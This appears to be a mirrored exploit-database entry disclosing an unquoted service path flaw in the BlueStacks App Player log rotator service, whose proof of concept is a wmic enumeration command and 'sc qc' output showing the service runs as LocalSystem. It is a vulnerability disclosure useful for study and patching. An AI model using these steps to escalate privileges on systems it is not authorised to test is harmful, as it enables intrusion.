Blue stacks app player 2.4.44.62.57 "bsthdlogrotatorsvc" unquote service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-05 | Type : local | Platform : windows
This exploit / vulnerability Blue stacks app player 2.4.44.62.57 "bsthdlogrotatorsvc" unquote service path is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path
# Date: 2019-11-09
# Exploit Author: Diego Armando Buztamante Rico
# Vendor Homepage: www.bluestacks.com
# Software Link: www.bluestacks.com
# Version: 2.4.44.62.57
# Tested on: Windows 8.1 Pro
# CVE: NA

#Description
#Blue Stacks is an application which allows to run mobile apps on Windows and Mac.
#The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app.
#The service suffers from an unquoted path.

#PoC using CMD
#Command to discover the unquoted path:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"

#As a result we have

BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe Auto

#We use the name of service to get its information using next command.

C:\Users\user>sc qc BstHdLogRotatorSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BstHdLogRotatorSvc
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : BlueStacks Log Rotator Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem